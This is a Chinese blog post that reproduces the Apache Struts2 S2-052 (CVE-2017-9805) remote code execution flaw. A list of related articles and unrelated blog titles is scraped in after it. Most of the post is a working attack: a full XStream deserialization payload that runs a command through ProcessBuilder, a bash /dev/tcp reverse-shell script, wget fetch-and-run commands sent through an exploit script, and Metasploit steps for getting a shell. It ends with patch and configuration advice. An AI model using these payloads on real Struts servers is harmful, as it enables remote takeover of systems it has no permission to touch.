struts2(s2-052)远程命令执行漏洞复现
漏洞描述:
2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击
漏洞编号:
CVE编号:CVE-2017-9805
漏洞复现:
利用弹出计算器复现:
漏洞环境为:win2008sr2+tomcat9.0
1.从struts2的官网下载最后受影响的版本struts-2.5.12,其下载地址:
http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip

拿到struts-2.5.12-apps之后,将其中的app目录下的struts2-rest-showcase.war文件放到webapps目录下,我的是
D:\apache-tomcat-9.0.0.M26\webapps
2.浏览器中访问地址:http://ip地址:8080/struts2-rest-showcase/
会跳转,然后出现下面的页面:

3.点击一个edit进行编译页面,然后提交,并用burp抓包。


并发送到repeater进行修改包如下:
这里将:
Content-Type:
application/x-www-form-urlencoded 修改为:
Content-Type: application/xml
post数据改成:
下面的command就是反序列化出来的命令执行:
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags></flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode></opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart></ostart> <ofinish></ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen></dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
4.修改完后,就进行提交包:

可以看到响应页面中有500错误:

5.最终在目标机器弹出了计算器

利用s2-052.py反弹linux下的struts2:
1.环境搭建:
目标靶机:ubuntu16.04x64+docker(ip地址:192.168.1.105)
攻击机:kali(nc运行监听,IP地址:192.168.1.113)
2.dokce镜像地址:
https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-037
3.在ubuntu上执行:
docker pull medicean/vulapps:s_struts2_s2-037 #拉取镜像到本地
docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-037 #启动环境
最终访问:
http://192.168.1.105:8080/orders

4.编写bk.sh脚本,内容为:
bash -i >& /dev/tcp/192.168.1.113/666 0>&1 #这里的ip就是我NC监听的IP地址
6.将bk.sh放到hsf搭建的ftp服务器上或者其他提供文件服务器上

7.通过运行python s2-052.py执行如下:
python s2-052.py http://192.168.1.105:8080/orders "wget http://192.168.1.102/bk.sh" #下载到目标靶机上


python s2-052.py http://192.168.1.105:8080/orders "/bin/bash ./bk.sh" #执行sh脚本

9.然后在kali进行nc监听,并反弹出shell:
nc -lvvp 666

s2-052.py的下载地址:
https://raw.githubusercontent.com/backlion/demo/master/s2-052%20.py
msf下的反弹struts2的shell:
测试环境:
目标靶机:ubuntu16.04x64+docker(采用如上文说的利用s2-052.py反弹linux下的struts2搭建环境)
攻击机:kali2017(貌似在kali2016上有点问题,加载不了payload)
1.在kali上执行:
root@kali2017:~# cd /opt root@kali2017:/opt# wget https://raw.githubusercontent.com/wvu-r7/metasploit-framework/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/strut root@kali2017:/opt# cp struts2_rest_xstream.rb /usr/share/metasploit-framework/modules/exploits/multi/http/

root@kali2017:/opt# msfconsole msf > use exploit/multi/http/struts2_rest_xstream msf exploit(struts2_rest_xstream) > show options

msf exploit(struts2_rest_xstream) > set rhost 192.168.1.105 msf exploit(struts2_rest_xstream) > set rport

msf exploit(struts2_rest_xstream) > set target /orders msf exploit(struts2_rest_xstream) > set lhost 192.168.1.113 msf exploit(struts2_rest_xstream) > set lport msf exploit(struts2_rest_xstream) > exploit



可以看到成功反弹shell
受影响版本:
Apache Struts Version:Struts 2.5 - Struts 2.5.12
漏洞修复建议:
1、升级到Apache Struts版本2.5.13
2、最好的选择是在不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs:
<constant name="struts.action.extension" value="xhtml,,json" />
3、限制服务端扩展类型,删除XML支持。
由于应用的可用类的默认限制,某些REST操作可能会停止工作。在这种情况下,请调查介绍的新接口以允许每个操作定义类限制,那些接口是:
org.apache.struts2.rest.handler.AllowedClasses
org.apache.struts2.rest.handler.AllowedClassNames
org.apache.struts2.rest.handler.XStreamPermissionProvider
struts2(s2-052)远程命令执行漏洞复现的更多相关文章
- Apache SSI 远程命令执行漏洞复现
Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...
- ThinkPHP 5.x远程命令执行漏洞复现
ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...
- D-Link service.cgi远程命令执行漏洞复现
1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于台湾证券交易所挂牌上市,为台湾第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...
- CVE-2019-0193 远程命令执行-漏洞复现
0x01 漏洞简介 Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.此次漏洞出现在Apache Solr的 ...
- 泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
漏洞复现 影响版本: E-cology 7.0 E-cology 8.0 E-cology 8.1 E-cology 9.0 直接在网站根目录后加入组件访问路径 /weaver/bsh.servl ...
- Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)
0x01 漏洞简介 Struts在某些情况下可能存在OGNL表达式注入漏洞,如果开发人员使用了 %{-} 语法进行强制OGNL解析,某些特殊的TAG属性可能会被双重解析.攻击者可以通过构造恶意的OGN ...
- Struts2再爆远程命令执行漏洞![W3bSafe]Struts2-048 Poc Shell及防御修复方案抢先看!
漏洞概述 Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架.在Struts 2.3.x 系列的 Show ...
- [CVE-2017-8464]Microsoft Windows远程命令执行漏洞复现
版权声明:本文为博主的原创文章,未经博主同意不得转载 前言 记录下自己的复现,保留意见 2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快 ...
- CVE-2019-0193:Apache Solr 远程命令执行漏洞复现
0x00 漏洞背景 2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重 0x01 影响范围 Apache Solr < 8.2.0 0x0 ...
随机推荐
- Jenkins CLI 通过ssh方式链接时的证书
在Jenkins自己的配置文档下,并没有详细说明要如何生成ssh证书,不过随便网上查一查就会有很多. 这里记录一个坑: 这个ssh必须要用ssh2!!! 这个ssh必须要用ssh2!!! 这个ssh必 ...
- Maven学习(九)-----定制库到Maven本地资源库
这里有2个案例,需要手动发出Maven命令包括一个 jar 到 Maven 的本地资源库. 要使用的 jar 不存在于 Maven 的中心储存库中. 您创建了一个自定义的 jar ,而另一个 Mave ...
- ES6中的promise
Promise 对象用于一个异步操作的最终完成(或失败)及其结果值的表示.简单点说,它就是用于处理异步操作的,异步处理成功了就执行成功的操作,异步处理失败了就捕获错误或者停止后续操作. 它的一般表示形 ...
- Jmeter接口测试之Get请求
[一] 在测试计划下面添加一个线程组---------->在线程组下面分别添加HTTP请求.响应断言.BeanShellPreProcessor.察看结果树.聚合报告等内容. [二] 将使用的协 ...
- 技本功丨收藏!斜杠青年与你共探微信小程序云开发(下篇)
2019年2月26日,人们为了一个杯子疯了一天. 星巴克猫爪杯,一场已经与猫无关了的“圣杯战争“.网上的倒卖价格,已炒至近千元! 求而不得,舍而不能,得而不惜.这是人最大的悲哀... 所以,请珍惜以下 ...
- 20181016-4 Alpha阶段第1周/共2周 Scrum立会报告+燃尽图 02
此次作业要求参见 [https://edu.cnblogs.com/campus/nenu/2018fall/homework/2247] Scrum master:祁玉 一.小组介绍 组长:王一可 ...
- 周总结<4>
经过了一周的学习,我们在html以及C语言方面又有的新的知识点的学习. html 自习表格,函数等 C语言 哈弗曼编码 Html案例: 一. <!DOCTYPE html PUBLIC &quo ...
- TCP系列48—拥塞控制—11、FRTO拥塞撤销
一.概述 FRTO虚假超时重传检测我们之前重传章节的文章已经介绍过了,这里不再重复介绍,针对后面的示例在说明两点 1.FRTO只能用于虚假超时重传的探测,不能用于虚假快速重传的探测. 2.延迟ER重传 ...
- MySQL 日志功能详解
MySQL日志分类 1:查询日志 :query log 2:慢查询日志:slow_query_log 查询执行时长超过指定时长的查询操作所记录日志 3:错误日志:error log ...
- 201621123037 《Java程序设计》第4周学习总结
#Week04-面向对象设计与继承 1. 本周学习总结 1.1 写出你认为本周学习中比较重要的知识点关键词 关键词:超级父类."is-a".父类.子类.重载.继承.多态 1.2 尝 ...